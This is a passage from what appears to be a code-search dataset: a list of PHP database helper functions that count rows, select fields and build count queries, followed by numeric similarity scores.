"public function selectcount($object = null)\n {\n $columns = \"COUNT(*)\";\n if ($object):\n $this->instanciateVariable($object);\n elseif (is_object($columns)):\n $this->instanciateVariable($columns);\n $columns = \"COUNT(*)\";\n endif;\n\n $this->columns = \"COUNT(*)\";\n $this->columnscount = \"COUNT(*)\";\n// $this->columns = is_array($columns) ? $columns : func_get_args();\n $this->query = \" \";\n// $this->_selectcount = \" select $columns from `\". $this->table . \"` \";\n $this->initdefaultjoin();\n\n return $this;\n }",
"function create_list_count_query($where) {\r\n\t\t$q = parent::create_list_count_query($where);\r\n\t\t$q = preg_replace ('/select\\s+count\\(\\*\\)\\s+c/i', \"SELECT COUNT(DISTINCT `$this->table_name`.id) c\", $q);\r\n $q = preg_replace(\"/GROUP\\s+BY\\s+`$this->table_name`.id\\s*$/i\", '', $q);\r\n\t\treturn $q;\r\n\t}",
"public function setCountQuery()\n {\n $this->countQuery = true;\n return $this;\n }",
"function query() {\n $this->field_alias = $this->real_field;\n }",
"function query() {\n $this->field_alias = $this->real_field;\n }",
"function selectClause(&$tableName, $tableKey, &$fieldName, &$field) {\n if ($fieldName == 'still_to_raise') {\n $alias = \"{$tableName}_{$fieldName}\";\n $this->_columnHeaders[$alias]['title'] = CRM_Utils_Array::value('title', $field);\n $this->_columnHeaders[$alias]['type'] = CRM_Utils_Array::value('type', $field);\n $this->_columnHeaders[$alias]['dbAlias'] = CRM_Utils_Array::value('dbAlias', $field);\n $this->_selectAliases[] = $alias;\n return \" COALESCE({$this->_aliases['civicrm_campaign']}.goal_revenue, 0) - SUM(COALESCE(progress.total_amount, 0)) as $alias \";\n }\n return parent::selectClause($tableName, $tableKey, $fieldName, $field);\n }",
"private function ts_countHits()\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n if ( $this->count_hits[ $this->curr_tableField ] != null )\n {\n return $this->count_hits[ $this->curr_tableField ];\n }\n\n\n // Short var\n $count_hits = $this->conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ][ 'count_hits' ];\n switch ( $count_hits )\n {\n case( true ):\n $this->count_hits[ $this->curr_tableField ] = true;\n break;\n default:\n $this->count_hits[ $this->curr_tableField ] = false;\n break;\n }\n\n // RETURN\n return $this->count_hits[ $this->curr_tableField ];\n }",
"function SELECT_COUNT_alunosPrivada (){\n $sql = 'SELECT COUNT(i.`tipo_instituicao`) AS `Escolas Privadas` FROM `visita` as v INNER JOIN `agendamento_institucional` as ai on v.`agendamento_institucional_ID` = ai.`ID` INNER JOIN `professor_instituicao` as pii on ai.`professor_instituicao_ID` = pii.`ID` INNER JOIN `instituicao` AS i ON pii.`instituicao_ID` = i.`ID` WHERE i.`tipo_instituicao`= \"Privada\"';\n $stmt = $this->dataBase->query($sql);\n $row = $stmt->fetch_assoc();\n return $row; \n }",
"public function setCountQuery(SelectQueryInterface $query) {\n $this->customCountQuery = $query;\n }",
"public function getSimpleSearchField() : int\n {\n return $this->simpleSearchField;\n }",
"function nb_get_post_views( $object, $field_name, $request ) {\n\n return (int) get_post_meta( $object['id'], $field_name, true );\n\n}",
"function num_fields($query)\n\t{\n\t\treturn $query->columnCount();\n\t}",
"public function getCount() {\n\t\treturn $this->db->fetchColumn ( \"SELECT COUNT(id) FROM \" . $this->table );\n\t}",
"public function select()\n {\n return new QueryProxy('select', $this);\n }",
"function FetchField($off = 0)\n\t{\n\n\t\t$o= new ADOFieldObject();\n\t\t$o->name = @pg_field_name($this->_queryID,$off);\n\t\t$o->type = @pg_field_type($this->_queryID,$off);\n\t\t$o->max_length = @pg_fieldsize($this->_queryID,$off);\n\t\treturn $o;\n\t}",
"private function getCountFilteredResults()\n {\n $qb = $this->em->createQueryBuilder();\n $qb->select('count(distinct ' . $this->tableName . '.' . $this->rootEntityIdentifier . ')');\n $qb->from($this->metadata->getName(), $this->tableName);\n\n $this->setLeftJoin($qb);\n $this->setWhere($qb);\n $this->setWhereCallbacks($qb);\n\n return (int) $qb->getQuery()->getSingleScalarResult();\n }",
"function get_PostViews($post_ID){\n $count_key = 'post_views_count';\n //Returns values of the custom field with the specified key from the specified post.\n $count = get_post_meta($post_ID, $count_key, true);\n \n return $count;\n}",
"function SelectRecordCount() {\n\t\tglobal $conn;\n\t\t$origFilter = $this->CurrentFilter;\n\t\t$this->Recordset_Selecting($this->CurrentFilter);\n\t\t$sSql = $this->SelectSQL();\n\t\t$cnt = $this->TryGetRecordCount($sSql);\n\t\tif ($cnt == -1) {\n\t\t\tif ($rs = $conn->Execute($this->SelectSQL())) {\n\t\t\t\t$cnt = $rs->RecordCount();\n\t\t\t\t$rs->Close();\n\t\t\t}\n\t\t}\n\t\t$this->CurrentFilter = $origFilter;\n\t\treturn intval($cnt);\n\t}",
"public function count_all_by_field($field = false, $value = false, $get_deleted = false)\n\t{\n\n\t\t$this->db->where($field,$value);\n\t\tif ($get_deleted)\n\t\t{\n\t\t\t// Get only the deleted users\n\t\t\t$this->db->where('news_articles.deleted !=', 0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->db->where('news_articles.deleted', 0);\n\t\t}\n\t\t//$this->from($this->table_name);\n\t\t\n\t\treturn $this->db->count_all_results('news_articles');\n\t}",
"function getCount()\n{\n if( $this->_count == -1 ){\n global $dbh;\n $SQL = $this->getCountSQL();\n $result = $dbh->getOne($SQL);\n dbErrorCheck($result);\n $this->_count = $result;\n return $result;\n }else{\n return $this->_count;\n }\n}",
"public function count($field, $alias = '')\n {\n return $this->prepareAggregateStatement($field, $alias, 'COUNT');\n }",
"public function subpropertyJoinCountTest() {}",
"public function getCount() {\n return $this->db->fetchColumn(\"SELECT COUNT(id) FROM $this->table\");\n }",
"private function sql_select( $bool_count )\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n // EXIT wrong TS configuration\n $conf_view = $this->conf_view;\n if ( !empty( $conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ][ 'sql.' ][ 'select' ] ) )\n {\n $prompt = '\n <h1 style=\"color:red;\">\n ERROR: filter\n </h1>\n <p style=\"color:red;font-weight:bold;\">\n Sorry: filter.' . $this->curr_tableField . '.sql.select isn\\'t supported from TYPO3-Browser version 4.x<br />\n <br />\n Please remove the TypoScript code filter.' . $this->curr_tableField . '.sql.select.<br />\n <br />\n Method: ' . __METHOD__ . '<br />\n Line: ' . __LINE__ . '\n </p>';\n echo $prompt;\n exit;\n }\n // EXIT wrong TS configuration\n // select\n switch ( $bool_count )\n {\n case( true ):\n $localTableUid = $this->pObj->arrLocalTable[ 'uid' ];\n $count = \"COUNT( DISTINCT \" . $localTableUid . \" )\";\n break;\n case( false ):\n default:\n $count = \"0\";\n break;\n }\n $select = $count . \" AS 'hits', \" .\n $table . \".uid AS '\" . $table . \".uid', \" .\n $this->curr_tableField . \" AS '\" . $this->curr_tableField . \"'\";\n // select\n // Set class var sql_filterFields\n $this->sql_filterFields[ $this->curr_tableField ][ 'hits' ] = 'hits';\n $this->sql_filterFields[ $this->curr_tableField ][ 'uid' ] = $table . '.uid';\n $this->sql_filterFields[ $this->curr_tableField ][ 'value' ] = $this->curr_tableField;\n // Set class var sql_filterFields\n // Add treeview field to select\n $select = $select . $this->sql_select_addTreeview();\n\n // Add localisation fields to select\n $select = $select . $this->sql_select_addLL();\n\n $select = $select\n . $this->sql_select_radialsearch();\n\n // RETURN select\n return $select;\n }",
"private function _proceedCount($select)\n {\n global $zdb;\n\n try {\n $countSelect = clone $select;\n $countSelect->reset(\\Zend_Db_Select::COLUMNS);\n $countSelect->reset(\\Zend_Db_Select::ORDER);\n $countSelect->columns('count(' . self::PK . ') AS ' . self::PK);\n\n $result = $countSelect->query()->fetch();\n\n $k = self::PK;\n $this->_count = $result->$k;\n if ( $this->_count > 0 ) {\n $this->counter = (int)$this->_count;\n $this->countPages();\n }\n } catch (\\Exception $e) {\n /** TODO */\n Analog::log(\n 'Cannot count contributions | ' . $e->getMessage(),\n Analog::WARNING\n );\n Analog::log(\n 'Query was: ' . $countSelect->__toString() . ' ' . $e->__toString(),\n Analog::ERROR\n );\n return false;\n }\n }",
"function get_count_data($columnName, $tblname, $whereColumn, $passingParam) {\n global $dbf;\n $sql = \"SELECT COUNT($columnName) as count FROM $tblname WHERE $whereColumn='$passingParam'\";\n $countVal = $dbf;\n $countVal->query($sql);\n $countVal->next_record();\n \n $rowValue = $countVal->rowdata();\n\t$countValue = $rowValue['count'];\n \n return $countValue;\n}",
"function count()\n {\n $retval = 0;\n $key = $this->object->get_primary_key_column();\n $results = $this->object->run_query(\"SELECT COUNT(`{$key}`) AS `{$key}` FROM `{$this->object->get_table_name()}`\");\n if ($results && isset($results[0]->{$key})) {\n $retval = (int) $results[0]->{$key};\n }\n return $retval;\n }",
"abstract public function getCount();",
"function getUserCount()\r\n {\r\n $db = JFusionFactory::getDatabase($this->getJname());\r\n $query = 'SELECT count(*) from #__'.$this->getTablename();\r\n $db->setQuery($query );\r\n\r\n //getting the results\r\n return $db->loadResult();\r\n }",
"public function fetchFields();",
"public function getCount()\n {\n return $this->get('Count');\n }",
"public function testWithVirtualColumns()\n {\n// ->disableOriginalConstructor()\n// ->getMock();\n\n// $query->expects($this->once())\n// ->method('filterByIsPublished')\n// ->with(\n// $this->equalTo(true),\n// $this->equalTo(Criteria::EQUAL)\n// );\n//\n// $proxy = new ProxyQuery($query);\n// // @note no field named \"isPublished\" in the model\n// $proxy->filterBy('isPublished', true);\n }",
"public function getSummaryCount($sqlPart) {\n $query = 'SELECT count(DISTINCT(inv_agent_id)) AS count\n FROM (SELECT t.* FROM agnt_booking_invoice t INNER JOIN (SELECT inv_total_cost,MAX(inv_invoice_id) AS latest,inv_booking_id FROM agnt_booking_invoice GROUP BY inv_booking_id) t1 ON t1.inv_booking_id=t.inv_booking_id AND t1.latest=t.inv_invoice_id\n ) AS derived_booking_invoice \n LEFT JOIN agenti ON agenti.id=derived_booking_invoice.inv_agent_id \n WHERE 1=1 AND agenti.status = \"active\" '\n . $sqlPart;\n $query = $this->db->query($query);\n return $query->row();\n }",
"function statistics_extended_members_views($group){\r\n\tglobal $CONFIG;\r\n\tif(!empty($group)){\r\n\t\t$query = \"SELECT sum(m.string) as count FROM {$CONFIG->dbprefix}annotations a, {$CONFIG->dbprefix}metastrings m \";\r\n\t\t$views_counter_id = get_metastring_id(\"views_counter\");\r\n\t\t$query.= \"WHERE name_id={$views_counter_id} \";\r\n\t\t$query.= \"AND entity_guid={$group} \";\r\n\t\t$query.= \"AND owner_guid IN (SELECT guid_one FROM {$CONFIG->dbprefix}entity_relationships WHERE relationship='member' AND guid_two={$group}) \";\r\n\t\t$query.= \"AND a.value_id = m.id\";\r\n\t\t$count = get_data_row($query);\r\n\t\treturn $count->count;\r\n\t}\r\n\treturn 0;\r\n}",
"public function getSelect() {\r\n\t\tif (null === $this->_select) {\r\n\t\t\t$db = $this->getAdapter();\r\n\t\t\t/**\r\n\t\t\t * Build select object\r\n\t\t\t */\r\n\t\t\t$select = new Zend_Db_Select($db);\r\n\t\t\t$select->from($this->_table, array(new Zend_Db_Expr('COUNT(*)'), $this->_schema));\r\n\t\t\t$select->where($db->quoteIdentifier($this->_field, true) . ' IN (?)', $this->_value); // positional, not named\r\n\t\t\t$this->_select = $select;\r\n\t\t}\r\n\t\treturn $this->_select;\r\n\t}",
"private function sql_resWiHits()\n {\n // Count hits\n $bool_count = true;\n\n // Get query parts\n $select = $this->sql_select( $bool_count );\n $from = $this->sql_from();\n $where = $this->sql_whereWiHits();\n $groupBy = $this->sql_groupBy();\n $orderBy = $this->sql_orderBy();\n $limit = $this->sql_limit();\n\n// $query = $GLOBALS['TYPO3_DB']->SELECTquery\n// (\n// $select,\n// $from,\n// $where,\n// $groupBy,\n// $orderBy,\n// $limit\n// );\n//var_dump( __METHOD__, __LINE__, $query );\n // Execute query\n $arr_return = $this->pObj->objSqlFun->exec_SELECTquery\n (\n $select, $from, $where, $groupBy, $orderBy, $limit\n );\n // Execute query\n\n return $arr_return;\n }",
"public function getCountSql() {\n $sql = parent::getCountSql();\n $connection = $this->model->getMeta()->getConnection();\n\n return $this->parseVariablesIntoSql($sql, $connection);\n }",
"function countcolumn($columval, $column, $tablename) {\n $obj = & get_instance();\n $result = $obj->db->select($column)\n ->from($tablename)\n // ->where($column, $columval)\n ->where(\"FIND_IN_SET('$columval',$column) !=\", 0)\n ->get();\n\n //echo $obj->db->last_query(); \n // echo $result->num_rows();die; \n return $result->num_rows();\n}",
"function countItems($select, $tblName ,$where = NULL , $and = NULL)\n{\n global $conn;\n $countStmt = $conn->prepare(\"SELECT COUNT($select) FROM $tblName $where $and\");\n $countStmt ->execute();\n // numbers of col retreived\n return $countStmt ->fetchColumn();\n\n}",
"public function getCount($table_name, $field_name, $condition)\n\t{$counts=$this->select_query($table_name, \"COUNT(\".$field_name.\") as C\", $condition,1);\n\t\treturn $counts['C'];\n\t}",
"public function count() {\r\n\t\t//$src = Dbi_Source::GetModelSource($this);\r\n\t\t//return count($src->select($this->query()));\r\n\t\treturn count($this->source->select($this));\r\n\t}",
"public function listRecordCount()\n\t{\n\t\t$filter = $this->getSessionWhere();\n\t\tAddFilter($filter, $this->CurrentFilter);\n\t\t$filter = $this->applyUserIDFilters($filter);\n\t\t$this->Recordset_Selecting($filter);\n\t\t$select = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlSelect() : \"SELECT * FROM \" . $this->getSqlFrom();\n\t\t$groupBy = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlGroupBy() : \"\";\n\t\t$having = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlHaving() : \"\";\n\t\t$sql = BuildSelectSql($select, $this->getSqlWhere(), $groupBy, $having, \"\", $filter, \"\");\n\t\t$cnt = $this->getRecordCount($sql);\n\t\treturn $cnt;\n\t}",
"public function listRecordCount()\n\t{\n\t\t$filter = $this->getSessionWhere();\n\t\tAddFilter($filter, $this->CurrentFilter);\n\t\t$filter = $this->applyUserIDFilters($filter);\n\t\t$this->Recordset_Selecting($filter);\n\t\t$select = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlSelect() : \"SELECT * FROM \" . $this->getSqlFrom();\n\t\t$groupBy = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlGroupBy() : \"\";\n\t\t$having = $this->TableType == 'CUSTOMVIEW' ? $this->getSqlHaving() : \"\";\n\t\t$sql = BuildSelectSql($select, $this->getSqlWhere(), $groupBy, $having, \"\", $filter, \"\");\n\t\t$cnt = $this->getRecordCount($sql);\n\t\treturn $cnt;\n\t}",
"public function count()\n {\n return $this->model->paginate(1, $this->select)->total();\n }",
"function countcolumn2($columval, $column, $tablename) {\n $obj = & get_instance();\n $result = $obj->db->select($column)\n ->from($tablename)\n // ->where($column, $columval)\n ->where(\"FIND_IN_SET('$columval',$column) !=\", 0)\n ->get();\n // echo $result->num_rows();die; \n $num_rowss = $result->num_rows();\n $mycount = array('column_id' => $column, 'total_count' => $num_rowss);\n return $mycount;\n}",
"public function toCountQuery() {\r\n\t\t$sql='SELECT COUNT(*) as nb';\r\n\r\n\t\t$selectClause = $this->buildSelectClause();\r\n\t\t$hasDistinct = (strpos(strtolower($selectClause), 'distinct') !== FALSE);\r\n\r\n\t\t$excludeBinds = array();\r\n\t\tif (($hasDistinct) || (count($this->_salt_groups) > 0)) {\r\n\t\t\t// if select clause have a distinct... we have to count the complete subquery...\r\n \t\t\t// with groups, count() also need to be executed on a sub select query...\r\n \t\t\t// @see http://stackoverflow.com/questions/364825/getting-the-number-of-rows-with-a-group-by-query\r\n\t\t\t$sql.=' FROM ( SELECT '.$selectClause.$this->toBaseSQL().') c';\r\n\t\t} else {\r\n\t\t\t$excludeBinds = $this->getBinds(ClauseType::SELECT);\r\n\t\t\t// more simple query without select clause\r\n\t\t\t$sql.=$this->toBaseSQL();\r\n\t\t}\r\n\r\n\t\t$binds = $this->getBinds();\r\n\t\t$binds = array_diff_key($binds, $excludeBinds);\r\n\r\n\t\treturn new CountQuery($sql, $binds);\r\n\t}",
"public function getResultFields( $query_id=null );",
"public function getCountQuery()\n {\n $query = clone $this;\n\n //reset any orders or limits previously set since don't want those for\n //a query that just counts the results.\n $query->order('', true)\n ->limit(0);\n\n //Set main column to get to \"COUNT(*)\", and remove rest of columns\n $keys = array_keys($query->_from);\n foreach ($keys as $key) {\n $columns = ($key == 0) ? array('COUNT(*)') : array();\n $query->_from[$key]['columns'] = $columns;\n }\n\n return $query;\n }",
"public function fetchField(){\n $this->debugBacktrace();\n $this->fetchType = \"fetch_field\";\n return $this;\n }",
"public function getFieldCount(): int\n {\n return oci_num_fields($this->resultID);\n }",
"function gettotalpageno(){\n\t $qry = \"SELECT * FROM countries\";\n\t return $result = $this->modelObj->numRows($qry);\n\t}",
"public function getCountSQL()\n {\n return 'SELECT COUNT(*) FROM product';\n }",
"function tidy_access_count(tidy $object) {}"
]
| [
"0.6069529",
"0.58604544",
"0.5766204",
"0.5741413",
"0.5593673",
"0.55683106",
"0.5509353",
"0.5485627",
"0.54374856",
"0.54266286",
"0.5414638",
"0.5414638",
"0.5403568",
"0.5390641",
"0.5390641",
"0.5386934",
"0.5380587",
"0.53497523",
"0.5334201",
"0.5322064",
"0.5311906",
"0.5303172",
"0.5298618",
"0.52876663",
"0.5261978",
"0.52496696",
"0.52446836",
"0.524284",
"0.5239083",
"0.5232451",
"0.522789",
"0.5221167",
"0.5214089",
"0.5214089",
"0.5214089",
"0.5214089",
"0.5199357",
"0.5183212",
"0.51820403",
"0.5167682",
"0.51498646",
"0.51477295",
"0.5136167",
"0.51192355",
"0.5115032",
"0.51132184",
"0.5102383",
"0.5093444",
"0.50860846",
"0.50674516",
"0.505664",
"0.5053665",
"0.5053665",
"0.5048738",
"0.50477993",
"0.5042631",
"0.5040965",
"0.50383633",
"0.5038092",
"0.5014089",
"0.50032765",
"0.49979234",
"0.49948052",
"0.49937162",
"0.49697793",
"0.49664357",
"0.4962447",
"0.49529758",
"0.49498177",
"0.4949438",
"0.4946346",
"0.49397802",
"0.49372876",
"0.49344307",
"0.49303117",
"0.49271864",
"0.4924725",
"0.492434",
"0.49225828",
"0.49179164",
"0.49157158",
"0.49117273",
"0.49081257",
"0.49036342",
"0.49006715",
"0.4896264",
"0.48946688",
"0.48840618",
"0.48820266",
"0.4881128",
"0.4881128",
"0.48757786",
"0.4873385",
"0.486649",
"0.48641023",
"0.48583776",
"0.48567215",
"0.48536888",
"0.4853553",
"0.48526853",
"0.48462665"
]
| 0.0 | -1 |
Select one virtual field in a query Useful to only fetch counts | public function selectOneVirtualField(
Query\Select $query,
string $virtualFieldName,
string $virtualType = null,
) {
$query->limit(1);
$gen = $this->selectVirtualField($query, $virtualFieldName, $virtualType);
$records = iterator_to_array($gen, false);
if (!empty($records)) {
return $records[0];
}
return null;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function fetchField();",
"public abstract function field_count();",
"public abstract function GetFieldCount();",
"public function getFieldCount() {}",
"public abstract function FetchField();",
"protected function getCountQuery() {\n if ($this->customCountQuery) {\n return $this->customCountQuery;\n }\n else {\n return $this->query->countQuery();\n }\n }",
"function getCount()\n{\n if( $this->_count == -1 ){\n global $dbh;\n $SQL = $this->getCountSQL();\n $result = $dbh->getOne($SQL);\n dbErrorCheck($result);\n $this->_count = $result;\n return $result;\n }else{\n return $this->_count;\n }\n}",
"public abstract function getCountSelectSQL($field, $from, $joins, $where, $having, $group, $values);",
"protected function howBigWasThatQuery()\r\n {\r\n \treturn $this->totalcount;\r\n }",
"function sql_fetch_field($res,$offset = 0)\n {\n $results = array();\n $obj = NULL;\n $results = $res->getColumnMeta($offset);\n foreach($results as $key=>$value) {\n $obj->$key = $value;\n }\n return $obj;\n }",
"function getTotal($fieldName='', $searchKeyword='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"public function getSimpleSearchField() : int\n {\n return $this->simpleSearchField;\n }",
"public function getCountQuery()\n {\n return $this->countQuery;\n }",
"public function getCountQuery()\n {\n return $this->countQuery;\n }",
"protected function getCountQuery()\n {\n return $this->countQuery;\n }",
"function getTotal($fieldName='', $searchKeyword='',$searchStatus='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword, $searchStatus );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"public function countquery(){ \n\t\treturn $this->query_total; \n\t}",
"function count($field = null)\r\n\t{\r\n\t\tif (empty($field)) {\r\n\t\t\t$field = $this->fields['PRI'];\r\n\t\t}\r\n\t\t$result = $this->field('count('.$field.') as count')->select();\r\n\t\treturn $result[0]['count'];\r\n\t}",
"function getTotal($fieldName='', $searchKeyword='', $searchStatus='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword, $searchStatus );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"abstract public function getFieldCount(): int;",
"public function select($field);",
"public function getSelectCountSql()\n {\n $this->_renderFilters();\n\n $countSelect = $this->_getClearSelect()\n ->columns('COUNT(DISTINCT cpf'.$this->_storeId.'.entity_id)')\n ->resetJoinLeft();\n return $countSelect;\n }",
"function count()\n {\n $retval = 0;\n $key = $this->object->get_primary_key_column();\n $results = $this->object->run_query(\"SELECT COUNT(`{$key}`) AS `{$key}` FROM `{$this->object->get_table_name()}`\");\n if ($results && isset($results[0]->{$key})) {\n $retval = (int) $results[0]->{$key};\n }\n return $retval;\n }",
"public function countQuery();",
"function getMovieCount(){\n return $this->query(\"SELECT COUNT(id) as number FROM docs WHERE visible=1\");\n }",
"function getTableLength($table, $where=\"\"){\n return sqlSelectOne(\"SELECT COUNT(*) as count FROM $table $where\", 'count');\n}",
"private function ts_countHits()\n {\n // Get table and field\n list( $table, $field ) = explode( '.', $this->curr_tableField );\n\n if ( $this->count_hits[ $this->curr_tableField ] != null )\n {\n return $this->count_hits[ $this->curr_tableField ];\n }\n\n\n // Short var\n $count_hits = $this->conf_view[ 'filter.' ][ $table . '.' ][ $field . '.' ][ 'count_hits' ];\n switch ( $count_hits )\n {\n case( true ):\n $this->count_hits[ $this->curr_tableField ] = true;\n break;\n default:\n $this->count_hits[ $this->curr_tableField ] = false;\n break;\n }\n\n // RETURN\n return $this->count_hits[ $this->curr_tableField ];\n }",
"public static function getCountQuery()\n {\n $key = static::getPrimaryKey();\n return DB::table(static::$schema)\n ->select([\"count({$key}) as count\"]);\n }",
"final public static function selectCount($col, $alias, $table = null)\n {\n //init the select\n self::$query .= \"SELECT COUNT($col) AS $alias FROM \" . ($table != null ? $table : self::tableName());\n return (new static);\n }",
"private function getCountFilteredResults()\n {\n $qb = $this->em->createQueryBuilder();\n $qb->select('count(distinct ' . $this->tableName . '.' . $this->rootEntityIdentifier . ')');\n $qb->from($this->metadata->getName(), $this->tableName);\n\n $this->setLeftJoin($qb);\n $this->setWhere($qb);\n $this->setWhereCallbacks($qb);\n\n return (int) $qb->getQuery()->getSingleScalarResult();\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n return $countSelect;\n }",
"function sql_num_fields($res)\n {\n return $res->columnCount();\n }",
"public function getSelectCountSql()\n {\n $countSelect = clone $this->getSelect();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::ORDER);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::LIMIT_COUNT);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::LIMIT_OFFSET);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::COLUMNS);\n $countSelect->columns(\"COUNT(*)\");\n\n return $countSelect;\n }",
"function getDataCount($table='',$selFields = '*',$where='') \t{\n\t\t$query \t= 'SELECT COUNT('.$selFields.') AS cnt FROM ' . $this->tablePrefix . $table .' ' .$where;\t\t\t\t \n \t\t\n \t\treturn $this->fetchOne($this->execute($query));\n\t}",
"public function count($field = \"*\", $as = null);",
"function gettotalpageno(){\n\t $qry = \"SELECT * FROM countries\";\n\t return $result = $this->modelObj->numRows($qry);\n\t}",
"function SelectRecordCount() {\n\t\tglobal $conn;\n\t\t$origFilter = $this->CurrentFilter;\n\t\t$this->Recordset_Selecting($this->CurrentFilter);\n\t\t$sSql = $this->SelectSQL();\n\t\t$cnt = $this->TryGetRecordCount($sSql);\n\t\tif ($cnt == -1) {\n\t\t\tif ($rs = $conn->Execute($this->SelectSQL())) {\n\t\t\t\t$cnt = $rs->RecordCount();\n\t\t\t\t$rs->Close();\n\t\t\t}\n\t\t}\n\t\t$this->CurrentFilter = $origFilter;\n\t\treturn intval($cnt);\n\t}",
"public function fetchCalculatedRows( $alias='count' );",
"public function getCountWithOwnerQuery() {\n \n return $this->createQueryBuilder('n')\n ->select('n.id')->distinct()\n ->join('n.user', 'o')\n ->join('o.user_regular', 'ru')\n ->join('ru.gallery', 'og')\n ->leftJoin('og.images', 'ogi')\n ->join('n.gallery', 'ng')\n ->leftJoin('ng.images', 'ngi')\n ->leftJoin('n.values', 'v')\n ->leftJoin('v.property', 'p')\n ->join('n.location', 'l')\n ->where('n.draft = false');\n }",
"public function getQueryCount();",
"function FetchField($off = 0)\n\t{\n\n\t\t$o= new ADOFieldObject();\n\t\t$o->name = @pg_field_name($this->_queryID,$off);\n\t\t$o->type = @pg_field_type($this->_queryID,$off);\n\t\t$o->max_length = @pg_fieldsize($this->_queryID,$off);\n\t\treturn $o;\n\t}",
"private function record_count() {\n\t\t//Currently id is assumed\n\t\t$sql = \"SELECT COUNT(id) FROM {$this->table_name}\";\n\t\t$r = $this->do_query($sql);\n\t\t\n\t\twhile($row = mysql_fetch_array($r)) {\n\t\t\treturn $row[0];\n\t\t}\n\t}",
"protected function getCountQuery() {\n\t\tif ($this->countQuery !== null) {\n\t\t\treturn $this->countQuery;\n\t\t}\n\n\t\tif ($this->searchTerm !== null && $this->searchFields === null) {\n\t\t\t$fields = $this->getFields();\n\t\t\t$searchFields = array();\n\t\t\tforeach ($fields as $field) {\n\t\t\t\t$searchFields[] = $field['name'];\n\t\t\t}\n\t\t} else {\n\t\t\t$searchFields = null;\n\t\t}\n\n\t\t$query = clone $this;\n\t\t$query->resetFields();\n\t\t$query->resetLimit();\n\t\t$query->resetOrderBy();\n\t\t$query->field('COUNT(*)', 'total');\n\n\t\tif ($searchFields !== null) {\n\t\t\t$query->setSearchFields($searchFields);\n\t\t}\n\n\t\treturn $query;\n\t}",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n\n return $countSelect;\n }",
"public function query() {\n $this->field_alias = $this->real_field;\n }",
"public function selectcount($object = null)\n {\n $columns = \"COUNT(*)\";\n if ($object):\n $this->instanciateVariable($object);\n elseif (is_object($columns)):\n $this->instanciateVariable($columns);\n $columns = \"COUNT(*)\";\n endif;\n\n $this->columns = \"COUNT(*)\";\n $this->columnscount = \"COUNT(*)\";\n// $this->columns = is_array($columns) ? $columns : func_get_args();\n $this->query = \" \";\n// $this->_selectcount = \" select $columns from `\". $this->table . \"` \";\n $this->initdefaultjoin();\n\n return $this;\n }",
"function getUserCount()\r\n {\r\n $db = JFusionFactory::getDatabase($this->getJname());\r\n $query = 'SELECT count(*) from #__'.$this->getTablename();\r\n $db->setQuery($query );\r\n\r\n //getting the results\r\n return $db->loadResult();\r\n }",
"#[@arg(position= 0)]\n public function setField($field= 'bz_id') {\n $this->criteria= create(new Criteria())\n ->setProjection(Projections::projectionList(array(\n Projections::property(Person::column($field)), \n Projections::count()\n )))\n ->addGroupBy($field)\n ;\n }",
"public function count()\n {\n return $this->model->paginate(1, $this->select)->total();\n }",
"function GetField($field=0){\n\t\t\treturn @mysql_result($this->result,0,$field);\n\t\t}",
"public function getCount()\n {\n return $this->get('Count');\n }",
"public function selectFirst()\n {\n return $this->pdoConnection->query('SELECT * FROM ' . $this->table . ' LIMIT 1 ', \\PDO::FETCH_CLASS, $this->className)->fetch();\n }",
"function query() {\n $this->field_alias = $this->real_field;\n }",
"function query() {\n $this->field_alias = $this->real_field;\n }",
"public function getQuerySelect() {\n $R = 'R_'. $this->id;\n return \"$R.value_id AS `\". $this->name.\"`\";\n }",
"function nb_get_post_views( $object, $field_name, $request ) {\n\n return (int) get_post_meta( $object['id'], $field_name, true );\n\n}",
"public function getCount() {\n\t\treturn $this->db->fetchColumn ( \"SELECT COUNT(id) FROM \" . $this->table );\n\t}",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"function count_associated($field, $params = null) {\n\t\tif (isset($this->associations[$field])) {\n\t\t\treturn $this->associations[$field]->get($this, $params, true);\n\t\t}\n\n\t\treturn null;\n\t}",
"public function count(): static\n {\n return $this->withProperty('isCount', true);\n }",
"public function getCountBy()\n {\n return $this->hasOne(User::className(), ['id' => 'count_by']);\n }",
"public function buildQueryBuilderForCount(): void\n {\n $this->qb->resetQueryParts();\n\n $this->qb->addSelect(\"COUNT({$this->table}.id) AS count\")\n ->from($this->table, $this->table)\n ->where(\"{$this->table}.{$this->pidColumnName}=0\")\n ;\n }",
"function f($field) {\n\t\treturn($this->fetchfield($field));\n\t}",
